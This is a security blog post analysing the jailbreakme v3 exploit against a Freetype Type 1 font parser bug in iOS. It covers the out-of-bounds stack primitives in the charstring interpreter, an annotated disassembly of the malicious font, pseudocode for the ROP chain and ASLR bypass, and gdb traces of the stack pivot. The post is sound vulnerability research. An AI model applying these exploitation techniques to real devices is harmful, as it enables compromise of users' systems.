Analysis of the jailbreakme v3 font exploit
By jean » Monday 18 July 2011, 22:15 - Exploits
Two weeks ago, comex released the third version of jailbreakme. Two exploits are used to jailbreak Apple devices by opening a PDF file in the MobileSafari browser: initial code execution is obtained through a vulnerability in the Freetype Type 1 font parser, allowing subsequent exploitation of a kernel vulnerability to disable code signing enforcement, get root privileges and "install" the jailbreak. The same kernel vulnerability is also exploited at each reboot to provide an untethered jailbreak, using the Incomplete Codesign technique to bootstrap the kernel exploit. The two vulnerabilities (and another Freetype vulnerability not used by jailbreakme) were patched with the release of iOS 4.3.4.
The vulnerability (CVE-2011-0226) is located in the interpreter for Type 1 font programs. Vector font formats like Adobe Type 1 use small interpreted programs to render characters outlines at different sizes. In Freetype the t1_decoder_parse_charstrings function is responsible for executing such programs (called charstrings).
To start our analysis we need to extract the font from the jailbreakme PDF file, we can do this using Origami :
require "origami"
include Origami
pdf = PDF.read("iPhone_4.3.3_8J2.pdf")
data = pdf.get_object(12).data
File.open("jbmev3_t1font.bin", "wb") {|f| f.write(data) }
In order to disassemble the charstrings contained in the font, I could not get t1disas to work so I wrote a minimal Python script to disassemble Type 1 opcodes. The Type 1 specification is available on Adobe's website.
It is not necessary to understand everything about fonts and font programs, we just need to figure out the primitives used in the exploit and their effects on the interpreter state. The main structure used by the interpreter is T1_DecoderRec
, defined in include/freetype/internal/psaux.h :
//sizeof T1_DecoderRec = 0x5dc
typedef struct T1_DecoderRec_
{
T1_BuilderRec builder;
//offsetof stack = 0x70
//T1_MAX_CHARSTRINGS_OPERANDS = 256
FT_Long stack[T1_MAX_CHARSTRINGS_OPERANDS];
//offsetof top = 0x470
FT_Long* top;//stack pointer
//offsetof zones = 0x474
T1_Decoder_ZoneRec zones[T1_MAX_SUBRS_CALLS + 1];
{
FT_Byte* cursor;
FT_Byte* base;
FT_Byte* limit;
}
T1_Decoder_Zone zone;//current zone
FT_Service_PsCMaps psnames;
FT_UInt num_glyphs;
FT_Byte** glyph_names;
FT_Int lenIV;
FT_UInt num_subrs;
//offsetof subrs = 0x558
FT_Byte** subrs;
FT_PtrDist* subrs_len;
FT_Matrix font_matrix;
FT_Vector font_offset;
FT_Int flex_state;
FT_Int num_flex_vectors;
FT_Vector flex_vectors[7];
PS_Blend blend;
//offsetof hint_mode = 0x5BC
FT_Render_Mode hint_mode;
//offsetof parse_callback = 0x5c0
T1_Decoder_Callback parse_callback;
//offsetof funcs = 0x5c4
T1_Decoder_FuncsRec funcs;
{
FT_Error (*init)( T1_Decoder decoder,
FT_Face face,
FT_Size size,
FT_GlyphSlot slot,
FT_Byte** glyph_names,
PS_Blend blend,
FT_Bool hinting,
FT_Render_Mode hint_mode,
T1_Decoder_Callback callback );
void (*done)( T1_Decoder decoder );
FT_Error (*parse_charstrings)( T1_Decoder decoder,
FT_Byte* base,
FT_UInt len );
}
//offsetof buildchar = 0x5d0
FT_Long* buildchar;
//offsetof len_buildchar = 0x5d4
FT_UInt len_buildchar;
//offsetof seac = 0x5d8
FT_Bool seac;
} T1_DecoderRec;
The main memory locations available to a legitimate font program and used by the exploit are :
- the operand/result stack (
decoder->stack
). This stack grows "up". - two variables :
x
andy
(local variables int1_decoder_parse_charstrings
) - the
decoder->buildchar
array
The buildchar array is actually defined and initialized (all zeroes) by the /BuildCharArray
command in the font. Its size is set to 0x30000
.
The vulnerable code and the main idea behind comex's exploit were mentioned by windknown on twitter : a missing check on the arg_cnt
parameter for the callothersubr
operation allows a malicious font program to move the interpreter stack pointer outside of its bounds, providing read and write access to various fields of the T1_DecoderRec
structure (and the "real" stack since this structure is a local variable of the T1_Load_Glyph
function).
The jailbreakme font program uses this vulnerability to read the decoder->parse_callback
field (and a few others), construct a ROP payload in the decoder->buildchar
array, and execute this payload by overwriting decoder->parse_callback
and triggering a call to this function pointer. The following primitives are used to program the interpreter (the "weird machine") :
push
instructions : write constant value on the interpreter stack. The stack pointer is checked before use.op_setcurrentpoint
: read 2 dwords from the stack into variables x and y. This operation does not check the stack pointer.callothersubr #00
: write thex
andy
variables on the stack. This operation does not check the stack pointer but has preconditions :decoder->flex_state != 0 && decoder->num_flex_vectors == 7
. The argument count for this routine is 3 but only the first 2 parameters are used (overwritten with x and y).callothersubr #42
: calls an invalid subroutine with a negative argument count to bring the stack pointer beyond the stack area. This is the vulnerability that makes the exploit work.op_hstem3
,op_hmoveto
,op_unknown15
instructions to "bring down" the stack pointer back into its boundscallothersubr #12
: reset the stack pointer (top = decoder->stack
)callothersubr #20
and#21
: add/subtract values on the stackcallothersubr #23
and#24
: read/write dwords in thebuildchar
array.
The PDF document contains a single page with the @ (at) character, using the malicious font. The /at
font program will be run to render this character, this is the entry point of the exploit. 10 subroutines are also defined in the font and used by the /at font program :
- subroutine 0 : "fake" subroutine, contains a zlib compressed mach-o binary that is dropped in
/tmp/locutus
and run by the ROP payload once the kernel exploit is done - subroutine 1 : empty (
op_return
) - subroutine 2 : exit interpreter (
op_endchar
) - subroutine 3 : calls
callothersubr #01
to setdecoder->flex_state=1
and executescallothersubr #02
seven times to setdecoder->num_flex_vectors=7
: this routine sets the preconditions for the "write variables to stack unchecked" primitive (callothersubr #00
)
Subroutines 4 to 7 are the primitives for the ROP payload construction :
- subroutine 4 : write dword, increments index
subr4(param) => buildchar[buildchar[3]++] = param
- subroutine 5 : write gadget/function address with ASLR offset (shared cache slide)
subr5(param) => subr4(param + buildchar[1]) = subr4(param + shared_cache_slide)
- subroutine 6 : write dword + stack offset (used to get subroutine 0 address and restore the stack pointer once the ROP payload is done)
subr6(param) => subr4(param + buildchar[0]) = subr4(param + &decoder->zones[0])
- subroutine 7 : write dword +
buildchar
array base (for "local" variables used by the ROP payload)subr7(param) => subr4(param + buildchar[2]) = subr4(param + &buildchar[0])
Subroutines 8 & 9 are responsible for writing a ROP payload to the buildchar
array : they contain some initialization code (described shortly hereafter), followed by a sequence of calls to subroutines 4,5,6 and 7.
Here is the annotated disassembly of the /at
font program start :
-------------------------------------------------------------------------------- File: at.bin SHA1: 49b6ea93254f9767ad8d314dd77ecb6850f18412 -------------------------------------------------------------------------------- 0x00000000 8e push 0x3 0x00000001 8b push 0x0 0x00000002 0c 21 op_setcurrentpoint ; x=0x3; y=0x0 0x00000004 8e push 0x3 0x00000005 0a callsubr #03 ; subr_enable_endflex 0x00000006 fb ef push 0xfea50000 0x00000008 b5 push 0x2a 0x00000009 0c 10 callothersubr #42 nargs=-347;top=&decoder->seac + 4 0x0000000b 0c 10 callothersubr ; #00 (decoder->seac) nargs=3 (decoder->len_buildchar >> 16) ; endflex : top[0]=x; top[1]=y; top += 2 ; decoder->funcs.done = x = 0x30000 (0x3 << 16) ; decoder->funcs.parse_charstrings = y = 0x0 0x0000000d 16 op_hmoveto ; top -= 1; x += top[0] 0x0000000e 16 op_hmoveto ; top -= 1; x += top[0] 0x0000000f 16 op_hmoveto ; top -= 1; x += top[0] 0x00000010 0c 21 op_setcurrentpoint ; top -= 2; x=decoder->hint_mode=0; y=decoder->parse_callback 0x00000012 0c 02 op_hstem3 ; top -= 6 0x00000014 0c 02 op_hstem3 ; top -= 6 0x00000016 0c 02 op_hstem3 ; top -= 6 0x00000018 0c 02 op_hstem3 ; top -= 6 0x0000001a 0c 02 op_hstem3 ; top -= 6 0x0000001c 0c 02 op_hstem3 ; top -= 6 0x0000001e 0c 02 op_hstem3 ; top -= 6 0x00000020 0c 02 op_hstem3 ; top -= 6 0x00000022 0c 02 op_hstem3 ; top -= 6 0x00000024 0c 02 op_hstem3 ; top -= 6 0x00000026 0c 02 op_hstem3 ; top -= 6 0x00000028 0c 02 op_hstem3 ; top -= 6 0x0000002a 0c 02 op_hstem3 ; top -= 6 0x0000002c 0f op_unknown15 ; top -= 2 (/* nothing to do except to pop the two arguments */) 0x0000002d 0f op_unknown15 ; top -= 2 (/* nothing to do except to pop the two arguments */) 0x0000002e 16 op_hmoveto ; top -= 1; x += decoder->zone => x = &decoder->zones[0] 0x0000002f 0c 02 op_hstem3 ; top -= 6 0x00000031 0c 02 op_hstem3 ; top -= 6 0x00000033 8e push 0x3 0x00000034 0a callsubr #03 ; subr_enable_endflex 0x00000035 8b push 0x0 0x00000036 8b push 0x0 0x00000037 8b push 0x0 0x00000038 8e push 0x3 0x00000039 8b push 0x0 0x0000003a 0c 10 callothersubr #00 nargs=3 ; endflex : top[0]=x; top[1]=y; top += 2 0x0000003c 8c push 0x1 0x0000003d 8d push 0x2 0x0000003e a3 push 0x18 0x0000003f 0c 10 callothersubr #24 nargs=2 ; decoder->buildchar[1] = y = decoder->parse_callback = T1_Parse_Glyph 0x00000041 8b push 0x0 0x00000042 8d push 0x2 0x00000043 a3 push 0x18 0x00000044 0c 10 callothersubr #24 nargs=2 ; decoder->buildchar[0] = x = &decoder->zones[0]
The program starts by initializing the variables x
and y
to the values 0x3
and 0x0
. The instruction callothersubr #42 nargs=-347
exploits the bug to move the stack pointer at the end of the T1DecoderRec
structure, right after the seac
field, which is set to 0 when the structure is initialized. The length of the buildchar array was set to 0x30000
, which is chosen specifically to make the len_buildchar
and seac
fields look like the "stack frame" for the callothersubr #00
primitive (0x30000
is 0x3
encoded in the 16.16 fixed point format used by the interpreter). Hence, the following callothersubr
instruction (at offset 0xb
) will write the x
and y
values over the funcs.done
and funcs.parse_charstrings
fields. This overwrite is a preparatory step for the end of the font program, where the parse_callback
field is overwritten using the same primitive.
The stack pointer is then decremented by 3 op_hmoveto
instructions to point to the funcs
field (right after the parse_callback
field). The following op_setcurrentpoint
operation will read the hint_mode
and parse_callback
fields into the x
and y
variables. The stack pointer is then decremented back in the stack area to allow the next instructions to run without errors. In the process, the value of the zone
field (which points to zones[0]
) is also read into the x
variable by the op_hmoveto
instruction at offset 0x2e
(it is added to the hint_mode
value which is 0). The x
and y
variables are then pushed onto the stack (using the subroutine #03
to enable callothersubr #00
), and stored in buildchar[0]
and buildchar[1]
.
The next sequence, starting at offset 0x46
with callothersubr #42 nargs=-151
follows the same pattern : it reads the decoder->buildchar
pointer and stores it in buildchar[2]
.
Next, the value 0x7918
is written to buildchar[3]
: this will be used as the index for the ROP payload building routine. This leaves 0x7918 * 4
bytes for the stack frames of functions called by the ROP payload.
Another value is also leaked using callothersubr #42 nargs=-152
and stored in buildchar[4]
, this is the value of the __gxx_personality_sj0
symbol stored on the stack frame of the calling function FT::font::load_glyph
.
Because the User-Agent field only identifies iPhone/iPad/iPod and firmware version, but not the specific model (i.e iPhone 3GS or iPhone 4), the font program contains multiple ROP building subroutines. The correct function is chosen by comparing the difference between __gxx_personality_sj0
and T1_Parse_Glyph
. Since the two symbols are located in different shared libraries (libstdc++.6.dylib
and libCGFreetype.A.dylib
) and because the order of those libraries in the shared cache is different for the same firmware version on different devices (see Stefan Esser's talk at POC 2010), this delta identifies the device (thanks to comex for explaining this part).
The payload building subroutine number for the identified device is then pushed on the stack using conditional instructions (callothersubr #27
). Depending on the device, subroutine 8 or 9 will be called.
The ROP building subroutine starts by subtracting the default T1_Parse_Glyph
address from the one leaked in buildchar[1]
. Now buildchar[1]
contains the shared cache slide (see Stefan Esser's talk at HITB AMS 2011), which will be used by subroutine 5 to adjust the gadgets addresses written to the ROP stack and successfully bypass ASLR.
Then, the address of a gadget (scale_QT+254
) is computed and placed in the y
variable using op_setcurrentpoint
. After that, the ROP payload is constructed dword by dword, using subroutines 4,5,6 and 7. Some values that cannot be encoded directly in push operations are computed using the subtract operation.
Once the ROP payload building is done, the \at
routine recopies the first 7 dword values from the constructed ROP stack onto the decoder stack. These 7 values will be used to perform the stack pivot to the "main" ROP stack stored in the buildchar
array. The last step is to overwrite decoder->parse_callback
with the y
variable contents. It is now that the funcs.done
and funcs.parse_charstrings
values make sense : the callothersubr #42 nargs=-337
(at offset 0x167
) brings the stack pointer at the end of the decoder->funcs
structure, whose fields were modified to be 0x30000
and 0x0
, so the next callothersubr
instruction calls the write primitive (callothersubr #00
), that will overwrite the parse_callback
field with the gadget address stored in the y
variable.
Finally, the font program ends with the op_seac
instruction, that triggers the following calls:
t1operator_seac
(this function is actually inlined int1_decoder_parse_charstrings
)t1_decoder_parse_glyph
decoder->parse_callback()
that will initiate the stack pivot
The overall operation of the font exploit can be summarized by the following pseudocode :
at_pseudocode { //required for decoder->parse_callback = y at the end decoder->funcs.done = 0x30000 // (0x3 << 16) decoder->funcs.parse_charstrings = 0x0 //leak members of the decoder structure and store them at the start of decoder->buildchar y = decoder->parse_callback = T1_Parse_Glyph x = &decoder->zones[0] decoder->buildchar[1] = y = T1_Parse_Glyph decoder->buildchar[0] = x = &decoder->zones[0] y = decoder->buildchar decoder->buildchar[2] = y = decoder->buildchar y = __gxx_personality_sj0 decoder->buildchar[3] = 0x7918 //exit (subr 2) on ARMv6 devices, where T1_Parse_Glyph is not compiled in thumb //otherwise call subr3 //callsubr 2 + T1_Parse_Glyph % 2 callsubr (2 + ((decoder->buildchar[1] / 2) * 2)) //detect exact device decoder->buildchar[4] = y - decoder->buildchar[1] = __gxx_personality_sj0 - T1_Parse_Glyph //this does not match the disassembly, but this is the idea if( decoder->buildchar[4] == 0xff2ab38b) rop_build_subr = 8 //iphone 3gs else //if( decoder->buildchar[4] == 0xfff5a38b) rop_build_subr = 9 //iphone 4 callsubr rop_build_subr { //compute ASLR slide decoder->buildchar[1] -= T1_Parse_Glyph_default_addr y = gadget1 - decoder->buildchar[1] //... build rop payload with subroutines 4,5,6,7 } //recopy stack pivot ROP chain decoder->stack[0] = buildchar[0x7918] decoder->stack[1] = buildchar[0x7919] decoder->stack[2] = buildchar[0x791a] decoder->stack[3] = buildchar[0x791b] decoder->stack[4] = buildchar[0x791c] decoder->stack[5] = buildchar[0x791d] decoder->stack[6] = buildchar[0x791e] decoder->parse_callback = y //op_seac => initiate stack pivot decoder->parse_callback() }
At this point, we can attach gdb to MobileSafari and set a breakpoint in t1_decoder_parse_glyph
to see the transfer to the ROP payload :
Breakpoint 1, 0x33ce83b0 in t1_decoder_parse_glyph () (gdb) bt #0 0x33ce83b0 in t1_decoder_parse_glyph () #1 0x33ce99b0 in t1_decoder_parse_charstrings () #2 0x33cda63c in T1_Parse_Glyph_And_Get_Char_String () #3 0x33cda966 in T1_Load_Glyph () #4 0x33cd1b2c in FT_Load_Glyph () #5 0x33cc7332 in FT::font::load_glyph () #6 0x33cc9fce in FT::path_builder::build_path_for_glyph () #7 0x33cca41a in FT::path_builder::create_path_for_glyph () #8 0x33ccd4de in (anonymous namespace)::create_glyph_path () #9 0x31e9dfac in CGFontCreateGlyphPath () ... #58 0x329b0806 in UIApplicationMain () #59 0x000d01dc in ?? () (gdb) x/3i $pc 0x33ce83b0 <t1_decoder_parse_glyph+4>: ldr.w r3, [r0, #1472] 0x33ce83b4 <t1_decoder_parse_glyph+8>: blx r3 ;return decoder->parse_callback() 0x33ce83b6 <t1_decoder_parse_glyph+10>: pop {r7, pc} (gdb) si 2 0x32e14f4a in scale_QT () (gdb) x/2i $pc 0x32e14f4a <scale_QT+254>: add sp, #320 0x32e14f4c <scale_QT+256>: pop {r4, r5, pc} (gdb) si 0x32e14f4c in scale_QT () (gdb) x/8x $sp ; sp = &decoder->stack[0] 0x2fec9760: 0x00000000 0x00000000 0x305a0cbd 0x03a36478 0x2fec9770: 0x305a38fd 0x00000000 0x00000000 0xfeaf0000 (gdb) si 0x305a0cbc in TICandQualityFilter_fr::TICandQualityFilter_fr () (gdb) x/i $pc 0x305a0cbc <_ZN22TICandQualityFilter_frC1ERKN2KB6VectorINS0_4WordEEEPK10__CFLocale+8>: pop {r7, pc} (gdb) si 0x305a38fc in -[NoteContext copyNotesForSearch:complete:] () (gdb) x/2i $pc 0x305a38fc <-[NoteContext copyNotesForSearch:complete:]+20>: sub.w sp, r7, #0 ; 0x0 0x305a3900 <-[NoteContext copyNotesForSearch:complete:]+24>: pop {r7, pc} (gdb) si 0x305a3900 in -[NoteContext copyNotesForSearch:complete:] () (gdb) x/32x $sp ;sp = &buildchar[0x791e] 0x3a36478: 0x00000000 0x305a0dbd 0x2fec9c48 0x00000000 0x3a36488: 0x00000000 0x00000000 0x305e343f 0x03a3679c 0x3a36498: 0x00000000 0x305c6379 0x00000000 0x32e1d613 0x3a364a8: 0x03a364c4 0x32e1d613 0x3322d8fd 0x31552538 0x3a364b8: 0x3edab084 0x03a36ec8 0x03a36ee0 0x00000000 0x3a364c8: 0x305c6379 0x03a364d8 0x305b5889 0x33841129 0x3a364d8: 0x03a364e4 0x305b5889 0x03a365e8 0x00000000 0x3a364e8: 0x32e1d613 0x03a36920 0x305a0e97 0x03a36514
We can then use the following gdb script to dump the main ROP payload and the gadgets used.
set $i=$sp
while $i < $sp+0xE00
if *$i > 0x30000000
x/3i *$i
end
if *$i < 0x30000000
x/x $i
end
set $i=$i+4
end
This ROP payload exploits a kernel vulnerability in the IOMobileFramebuffer IOKit interface (CVE-2011-0227), using a kernel ROP payload that recopies a shellcode at address 0x80000400
(executable slack space at the beginning of the kernelcache mapping). The kernel shellcode patches various kernel functions to allow unsigned applications to run. It also installs a handler for syscall 0 whose sole purpose is to give root privileges to the calling process. This is used at the start of the main
funtion in the locutus
binary. The syscall handler is one-shot, it removes itself from the sysent
array as soon as it is called (and it is not present in the untether binary since this is only required for the jailbreak installation process).
Once the kernel exploit is done, the mach-o binary contained in subroutine 0 is decompressed into /tmp/locutus
and run using the posix_spawn
function. Finally, the stack pointer is restored and execution resumes at the t1_decoder_parse_charstrings
epilog. The R0
register is also set to 0x00000539
so that the font parser exits with a 1337 error code :) The locutus
binary then installs Cydia and the untethered jailbreak package. A shared library is injected into the SpringBoard process (using mach calls and the thread_create_running
function) to display the Cydia icon with a progress bar, just like a regular application installation.
This new version of jailbreakme is really impressive, and features the first public exploit that actively bypasses the ASLR mechanism introduced with iOS 4.3. A homebrew patch is even provided (PDF Patcher2) to avoid any controversy about "irresponsible disclosure". Hats off to comex !
Attachments
- jbmev3_t1disas.py
« Linux syscall ABI - Rushing Recon 2011!!! »
Add a comment
HTML code is displayed as text and web addresses are automatically converted.
They posted on the same topic
Trackback URL : esec-lab.sogeti.com/trackback/117
This post's comments feed
Comments
Well this is a great review ;-) Hats of for you and especially the guy who made all this ( Steve Jobs ) O O O O Sorry !!! I mean ( Comex ) :-D
Much better than I could have explained it :)
I posted the source code: https://github.com/comex/star_
Really impressive exploit and explanation. I'm just huh... amazed.